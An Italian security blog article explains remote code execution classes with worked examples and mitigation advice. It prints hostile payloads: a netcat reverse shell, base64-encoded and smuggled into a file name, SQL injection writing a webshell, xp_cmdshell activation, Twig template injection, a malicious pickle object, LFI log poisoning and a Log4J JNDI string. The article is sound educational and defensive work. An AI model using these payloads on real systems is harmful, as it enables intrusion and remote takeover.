Manuel Roccon : 3 Marzo 2025 07:36
Tra tutte le vulnerabilità la più temuta per le vittime e la più ricercata per gli aggressori è la remote code execution, tristemente nota RCE. Questa vulnerabilità permette di eseguire dei comandi arbitrari sul sistema attaccato. Questi possono essere inviati tramite script: pensiamo ad una pagina php caricata in un server web, comandi shell di windows oppure addirittura istruzioni macchina se parliamo di buffer overflow.
Questa tipologia di vulnerabilità permette di ottenere velocemente il controllo della vittima e questo attacco viene eseguito in remoto senza accesso fisico. Queste vulnerabilità sono sfruttate per vario genere, dall’accesso abusivo dei sistemi, installazione di software non autorizzato.
Ma non finisce qui: alcune caratteristiche ne amplificano l’effetto per esempio quando questa vulnerabilità è “non autenticata” (si parla quindi di unauthenticated RCE) oppure si ottengono fin da subito permessi elevati (come “system” su sistemi Windows o “root” su quelli Linux). Vulnerabilità del genere possono raggiungere tranquillamente score CVSS dai 9.8 ai 10.
Prova la Demo di Business Log! L'Adaptive SOC italiano
Log management non solo per la grande Azienda, ma una suite di Audit file, controllo USB, asset, sicurezza e un Security Operation Center PERSONALE, che ti riporta tutte le operazioni necessarie al tuo PC per tutelare i tuoi dati e informati in caso di problemi nel tuo ambiente privato o di lavoro.
Scarica ora la Demo di Business Log per 30gg
Qui alcuni esempi di cosa può comportare questa vulnerabilità:
Penetrazione: gli aggressori possono accedere alla rete o al sistema.
Questa interruzione può influire sulla produttività, sul servizio clienti e sulla continuità aziendale complessiva.
Un esempio è una vulnerabilità incontrata alcuni anni fa. Correva Marzo dell’anno 2021 e una mattina iniziava con un devastante attacco, all’inizio sconosciuto, che colpiva i sistemi di posta Exchange tramite uno zero day che sarà poi chiamato Proxy Logon (CVE-2021-26855 + CVE-2021-27065).
gli aggressori tentavano di caricare del codice attivo per poter compromettere i server di posta, per fortuna quasi tutti rilevati dagli EDR installati. Questa tipologia di attacco è appunto una esempio di remote code execution ed è stata classificata con 9.8 cvss v3.Per maggiori info: https://proxylogon.com/
La maggior parte di RCE sono concatenate ad altre vulnerabilità oppure sfruttate per altre debolezze inserite nel codice o nelle configurazioni, vediamone alcune con qualche semplice esempio:
Nella sicurezza dello sviluppo dei software, un buffer overflow è un’anomalia in cui un programma, durante la scrittura di dati troppo grandi ricevuti in input in un buffer va a scrivere nelle aree di memoria adiacente.
Così il programma in seguito si troverà ad accedere a dei puntatori di memoria non validi perché sovrascritti. Non avendo più un riferimento valido alla successiva area di memoria che contiene la prossima istruzione da eseguire, va in crash oppure esegue un accesso non autorizzato a un’altra area di memoria.
Un attaccante, individuando e manipolando le aree che porterebbero al comportamento spiegato prima, può modificare il flow di esecuzione attraverso un input costruito appositamente, costringendo il programma ad eseguire del codice arbitrario iniettato dall’attaccante.
Prediamo ad esempio la CVE-2017-14980 che riguarda Sync Breeze Enterprise 10.0.28, un software che permette la sincronizzazione tra file. Questo software dispone di un interfaccia web protetta da login.
Si era scoperto che passando nella chiamata di login un username molto lungo, il software generava un buffer overflow.
Quindi come detto prima, generando un payload apposito passato nel input username nella richiesta di login si poteva sfruttare questo buffer overflow per eseguire del codice remoto.
Ne avevamo già parlato qui con anche un esempio pratico dal team di Hackerhood
Quando i dati trasmessi dal client al server non vengono sufficientemente puliti da caratteri che potrebbero modificare il comportamento dell’applicazione arrivando all’esecuzione di codice arbitrario.
Ipotizziamo questo frammento di codice dove il sistema carica un file in google drive tramite file caricato dall’utente.
exec("python pydrive.py " . $path . addslashes(trim($fileName));
In questo caso la procedura comporrà un comando python e in seguito lo avvierà in una shell del sistema. Quello che potremmo fare è sfruttare il nome del file per poter accordare un comando. Sono presenti dei controlli ma questi potrebbero mitigare un sql injection, ma non sono sufficienti per mitigare questo tipo di attacco RCE e quindi è possibile accordare un secondo comando.
Il comando potrebbe essere “rm tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1 | nc 10.11.0.4 1234 >/tmp/f“, non potrà essere usato per rinominare un file prima di caricarlo in quanto alcuni caratteri speciali lo impediscono (anche se in realtà potremmo modificare la chiamata REST abbiamo tentato un’altra strada).
Niente paura, per chi conosce la bash sa che è possibile eseguire un comando encodato in base64: utilizzando il carattere $() la shell eseguirà l’interno del contenuto ancor prima di eseguire il comando python, quindi carichiamo un file con nome:
$(cm0gdG1wL2Y7bWtmaWZvIC90bXAvZjtjYXQgL3RtcC9mfC9iaW4vc2ggLWkgMj4mMSB8IG5jIDEwLjExLjAuNCAxMjM0ID4vdG1wL2Y= | base64 -d | bash);
L’applicazione si troverà a eseguire dalla bash di linux questo comando ed ad avviare una reverse shell.
python pydrive.py /test/$(cm0gdG1wL2Y7bWtmaWZvIC90bXAvZjtjYXQgL3RtcC9mfC9iaW4vc2ggLWkgMj4mMSB8IG5jIDEwLjExLjAuNCAxMjM0ID4vdG1wL2Y= | base64 -d | bash);
Il principale problema è che non sono stati filtrati i caratteri che in questo caso potrebbero interagire con i comandi che verranno eseguiti nella shell.
Un caso classico di RCE è quello legato al caricamento di file arbitrari non correttamente filtrati contenente codice attivo. Quando le funzionalità di caricamento file non sono implementate e testate correttamente, possono lasciare aperta la strada al caricamento di file dannosi per ottenere RCE.
In questo scenario un’ipotetica applicazione web PHP offre all’utente una funzionalità per caricare immagini e farle vedere in una galleria dopo averle caricate. Queste immagini sono archiviate in una cartella “/img/” in uno spazio pubblico del server web. I file non vengono verificati o rinominati. Per cui potremmo caricare un file contenente il seguente codice “” con l’estensione .php, come ad esempio exploit.php.
A questo punto una volta caricato il messaggio, ispezioniamo il DOM e dovremmo trovare l’immagine caricata, o quella che doveva essere.
Richiamando questo percorso, con molta probabilità eseguiremo il codice contenuto nel file. In questo caso non sono stati controllati né il contenuto né l’estensione del file caricato. se possibile evitare che il file sia accessibile pubblicamente. a questo punto non ci resta che richiamare url individuato: http://example.local/img/exploit.php?cmd=ls
Queste vulnerabilità derivano da una sanificazione inadeguata degli input Se un aggressore fornisse input dannosi appositamente creati, alcuni di questi possono essere interpretati come comandi eseguibili, consentendo all’aggressore di eseguire il proprio codice. Di questa categoria fanno parte SQLi (sql injection) e SSTI (server side template injection)
Una SQL Injection (o SQLi) è una vulnerabilità di sicurezza informatica che consente a un attaccante di interferire con le query SQL che un’applicazione invia a un database. In sostanza, l’attaccante “inietta” codice SQL dannoso all’interno di input dell’utente (come campi di testo in un modulo web) per manipolare la query originale e ottenere risultati non desiderati.
Per esempio in Mysql se il grant FILE è abilitato nei permessi dell’utente che sta eseguendo le query, è possibile arrivare ad eseguire del codice remoto.
Ipotizziamo in questo pezzo di codice che gestisce la richiesta a db di un pagina prima di eseguirla:
$sql = 'SELECT * FROM user WHERE username = "' + $username '"'
L’applicazione si aspetterebbe un username per verificare se sia esistente o no, come ad esempio “mario”. Se invece di mario, passiamo questo frammenti di codice SQL:
1" union all select 1, 2, "" into OUTFILE "c:/xampp/htdocs/backdoor.php" #
Verrà aggiunto alla QUERY originale di prima creando una nuova che il motore database eseguirà.
SELECT * FROM user WHERE username = "1" union all select 1, 2, "" into OUTFILE "c:/xampp/htdocs/backdoor.php" #
Il processo è estremamente semplificato ma in questo modo avremmo indotto la query sql a scrivere del contenuto in un percorso arbitrario.
http://example.local/backdoor.php?cmd=ls
Se fossimo invece in ambito Microsoft sql server potremmo addirittura inviare dei comandi shell al motore database pronti da essere eseguiti aggiungendo questi comandi alla query originale:
EXEC sp_configure 'Show Advanced Options', 1; reconfigure; sp_configure; EXEC sp_configure 'xp_cmdshell', 1; reconfigure; xp_cmdshell "whoami";
La vittima eseguirà whoami nella sua console. Uno dei motivi è il concatenamento di codice sql e variabili senza alcun genere di controllo oltre a permettere comandi che potrebbero essere disattivati come FILE.
In alcune condizioni, l’utilizzo di utenti database con privilegi elevati (come root o sa), possono amplificare la potenza dell’attacco e permettono per esempio l’esecuzione di comandi come xp_cmdshell in mssql.
Proprio come con SQL injection, quando l’input utente non filtrato viene passato ad un motore di creazione di template e questo viene concatenato nei template anziché essere trasmesso come dato, può generarsi una condizione di esecuzione di codice remoto. Vediamo un esempio applicato a una vecchia versione di Twig (1.9.0)
I template statici che forniscono semplicemente dei placeholder in cui viene reindirizzato il contenuto dinamico, non sono generalmente vulnerabili all’iniezione di template lato server come nell’esempio qui sotto:
$output = $twig->render("Dear {first_name},", array("first_name" => $user.first_name) );
Ma se invece l’input dell’utente viene concatenato nel template prima del rendering come in questo esempio:
$output = $twig->render("Dear " . $_GET['name']);
Questa volta gli utenti possono personalizzare parti del codice prima che venga inviato al rendering.
Quindi piuttosto che passare un valore statico, come ad esempio “mario”, passiamo invece {{payload}} come parametro GET, potendo così eseguire del codice arbitrario:
http://example.com/?name={{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("ls")}}
In questo caso accedendo all’environment di Twig e usando la registerUndefinedFilterCallbackfunzione, è possibile registrare un alias per la funzione exec. Chiamando poi getFilter con il comando desiderato ls [call_user_func(‘exec’,’id’);].
A questo punto vedremo output del comando.
Questo metodo facilita la trasmissione dei dati impacchettandoli in una singola stringa di bit, che il sistema ricevente può decodificare.
Se la struttura dei dati serializzati non è ben definita, un aggressore potrebbe creare un input che verrebbe interpretato erroneamente durante l’unpacking.
Questa interpretazione errata potrebbe portare all’esecuzione di codice remoto, a seconda di come i dati vengono elaborati e archiviati.
Il codice seguente è un semplice esempio di utilizzo di cPickle per generare un auth_token, che è un oggetto utente serializzato, per poi salvarlo in un cookie.
import cPickle
from base64 import b64encode, b64decode
class User:
def __init__(self):
self.username = "anonymous"
self.password = "anonymous"
self.rank = "guest"
h = User()
auth_token = b64encode(cPickle.dumps(h))
cookie = {'auth_token': auth_token}
pickle.dumps() in Python è una funzione che serve a serializzare un oggetto in un flusso di byte. Output ottenuto può essere poi utilizzato per esempio nei cookie per gestire processi di autenticazione.
A ogni richiesta poi la vittima eseguirà la deserializzazione poi per ricostruire l’oggetto.
token = cPickle.loads(b64decode(new_token))
La vulnerabilità si verifica quando l’aggressore riesce a manipolare questo flusso di dati, modificando in questo caso l’oggetto serializzato presente nel cookie, per esempio, del browser.
Per cui creando un nuovo oggetto serializzato ad-hoc, possiamo eseguire del codice remoto nella vittima una volta che viene de-serializzato per leggere il contenuto.
import cPickle, os
from base64 import b64encode, b64decode
class Evil(object):
def __reduce__(self):
return (os.system,("whoami",))
e = Evil()
evil_token = b64encode(cPickle.dumps(e))
Quando l’oggetto viene deserializzato sul server, il metodo __reduce__ verrà invocato ed eseguirà il comando remoto “whoami”.
Una Race Condition si verifica quando il risultato finale dipende dall’ordine preciso in cui questi processi/thread eseguono le loro operazioni. In altre parole, il risultato diventa imprevedibile e può variare a seconda di quale processo “vince la gara” nell’accedere per primo alla risorsa.
Prendiamo ad esempio la CVE-2021-24377, il sistema prevede il caricamento di un file zip, in seguito lo scompattamento di tutti i file in una directory nota per poi infine rimuovere i file appena estratti.
La condizione di RACE CONDITION si verificherà se subito dopo il caricamento di questo file tenteremo più volte di chiamare il link pubblico a un file contenuto nel momento che il sistema inizierà a scompattare lo zip prima che la procedura finisca la scompattazione e quindi la rimozione dei file scompattati.
Se l’archivio includesse un file con contenuto attivo PHP (backdoor.php) potremmo quindi richiamare questo trasformando l’attacco da una race condition a una RCE.
LFI permette di caricare del contenuto locale dove è presente del codice attivo che l’applicazione eseguirà. Il primo obiettivo è quello di riuscire a caricare questo contenuto. In questo esempio abbiamo un server web apache con le configurazione di default, dove le varie pagine sono chiamate includendo il file nel url.
http://example.local?page=index.php
a questo punto ipotizzando che i log di apache siano nel percorso /var/logs/httpd/access.log potremmo iniettare del codice php tramite netcat.
nc ip port
una volta aperta la connessione scriveremo:
a questo punto non faremmo altro nel raggiungere il sito ed eseguire dei comandi tramite il link:
http://example.local?page=/var/logs/httpd/access.log?cmd=ls
Per quanto riguarda il remote inclusion è ancora più semplice. Consiste nel caricare del contenuto remoto solitamente tramite un url. Se il server web è abilitato per includere risorse remote (allow_url_include=on), potremmo includere il codice mostrato prima per esempio su pastbin.
Quindi richiamarlo
http://example.local?page=https://pastebin.com/raw/[hash]?cmd=ls
DLL injection è una tecnica che permette di eseguire codice arbitrario all’interno dello spazio di indirizzamento di un processo in esecuzione. Questo viene fatto caricando una DLL (Dynamic Link Library) nel processo target.
I principali passaggi sono:
Allocazione di memoria: Il processo iniettore alloca memoria nel processo target.
Scrittura del percorso della DLL: Il percorso della DLL da iniettare viene scritto nella memoria allocata.
Caricamento della DLL: Viene chiamata la funzione LoadLibrary per caricare la DLL nel processo target.
Un esempio reale è la CVE-2020-7315. La vulnerabilità affligge McAfee Agent (MA) per Windows precedente alla versione 5.6.6 e consente agli utenti locali di eseguire codice arbitrario tramite l’utilizzo di una DLL dannosa.
La causa è una DDL mancante nel percorso C:\Windows\System32\ che il processo di McAfee macompatsvc.exe tenta di caricare all’avvio.
Quindi un attaccante posizionando in quel percorso una nuova DLL malevola, può eseguire da parte del eseguibile del codice malevolo al riavvio del processo.
Un altro attacco più sofisticato è quello di utilizzare degli injector che attraverso le API VirtualAllocEx, WriteProcessMemory, e CreateRemoteThread caricando dinamicamente una DLL in un processo già attivo.
In un sistema vulnerabile dopo averlo compromesso, basterebbe identificare un PID di un processo target. Quindi è necessario forgiare una DLL malevola e iniettarla con un injector.
A grandi linee il processo è questo:
Qui degli esempi di DLL Injector e payload:
DLL Injector
DDL Payload
Questa tecnica può rappresentare una minacce significativa, specialmente per i sistemi mal configurati e legacy. Questi sistemi spesso mancano delle patch di sicurezza e delle configurazioni necessarie per difendersi da attacchi così sofisticati, oppure degli EDR che rilevino abuso di queste API da parte dei processi.
L’utilizzo di queste api come VirtualAlloc lo avevamo visto nell’analisi del infostealer Tesla Agent.
https://www.redhotcyber.com/post/rhc-da-vita-alloperazione-pollicino-alla-caccia-di-agent-tesla/
Sfruttare determinati CVE è un altro metodo per ottenere l’esecuzione di codice remoto. Le aziende dietro i programmi bug bounty integrano servizi e pacchetti di terze parti (come librerie e framework) tutto il tempo, poiché possono accelerare lo sviluppo e ridurre i costi di tecnologia generali ad esso associati.
Ma questo ha un altro costo: questi servizi integrati possono spesso contenere codice non sicuro che possono portare a RCE. Prendiamo ad esempio Log4J (CVE-2021-44228), un semplice payload come quello qui sotto avrebbe potuto avere un impatto su qualsiasi server che utilizza Apache Log4J, come ad esempio i sistemi di virtualizzazione Vmware.
${jndi:ldap://url.com/exploit}
Esistono differenti metodi per mitigare gli impatti di una Remote Code Execution, di seguito ne analizzeremo alcuni.
Mantenere il software aggiornato: Aggiornare regolarmente software, librerie, framework e sistemi operativi con le patch di sicurezza più recenti, incluse le dipendenze di terze parti. Scansione delle vulnerabilità: Utilizzare strumenti per identificare vulnerabilità note nelle dipendenze.
Processo di gestione delle patch: Implementare un processo formale per tracciare, testare e applicare le patch di sicurezza.
Evitare la deserializzazione di dati non attendibili: Se possibile, evitare di deserializzare dati provenienti da fonti non attendibili. Validare i dati deserializzati: Se la deserializzazione è necessaria, convalidare la struttura e il contenuto degli oggetti deserializzati prima di utilizzarli.
Utilizzare librerie di deserializzazione sicure: Utilizzare librerie progettate per prevenire vulnerabilità di deserializzazione.
Implementare un WAF: Un WAF può aiutare a rilevare e bloccare traffico dannoso, inclusi tentativi di sfruttare vulnerabilità RCE e addirittura 0day.
È un importante livello di difesa e prevenzione, ma non sostituisce le pratiche di codifica sicura e tutte quelle citate precedentemente!
Le vulnerabilità che portano ad una RCE sono questioni veramente serie e sono più diffuse di quanto si vorrebbe. Quando si realizza una applicazione o dei sistemi client-server, bisognerebbe sempre seguire le buone pratiche sia in fase di progettazione che di realizzazione ma anche prima di metterla in produzione e durante il mantenimento nel tempo.
Una raccomandazione è quella di monitorare costantemente le vulnerabilità attraverso anche community come RedHotCyber e tramite i comunicati dei produttori dei software (in cui molte volte è possibile iscriversi per ricevere i loro comunicati). Anche Agenzia per la cybersicurezza nazionale, come possiamo leggere dalle FAQ, monitora e invia preventivamente informazioni sulle minacce emergenti e relative attività di mitigazione attraverso i suoi canali pubblici.
Possiamo quindi seguire il loro canale Telegram al link https://t.me/s/CSIRT_Italia
Un altro canale interessante è quello del cert agid al link https://t.me/certagid
Tra tutte le vulnerabilità la più temuta per le vittime e la più ricercata per gli aggressori è la remote code execution, tristemente nota RCE. Questa vulnerabilità permette d...
Safeguard è un noto servizio, concepito per garantire la sicurezza delle transazioni nel mercato delle criptovalute, accessibile tramite la piattaforma di messaggistica Telegram. Tuttavia, la sua...
Spesso parliamo di “dati sanitari” e dell’interesse dei criminali informatici a queste preziose informazioni, sulle quali abbiamo scritto anche specifici articoli sul tema. Un rec...
Nel mondo della tecnologia, pochi nomi evocano tanta nostalgia quanto Skype. Eppure, dopo due decenni di onorato servizio, Microsoft ha deciso di spegnere per sempre la piattaforma che ha rivoluzionat...
La Francia si sta preparando ad approvare leggi che potrebbero rivoluzionare la sicurezza online, obbligando i fornitori di servizi di telecomunicazioni a installare backdoor nelle app di messaggistic...
Copyright @ REDHOTCYBER Srl
PIVA 17898011006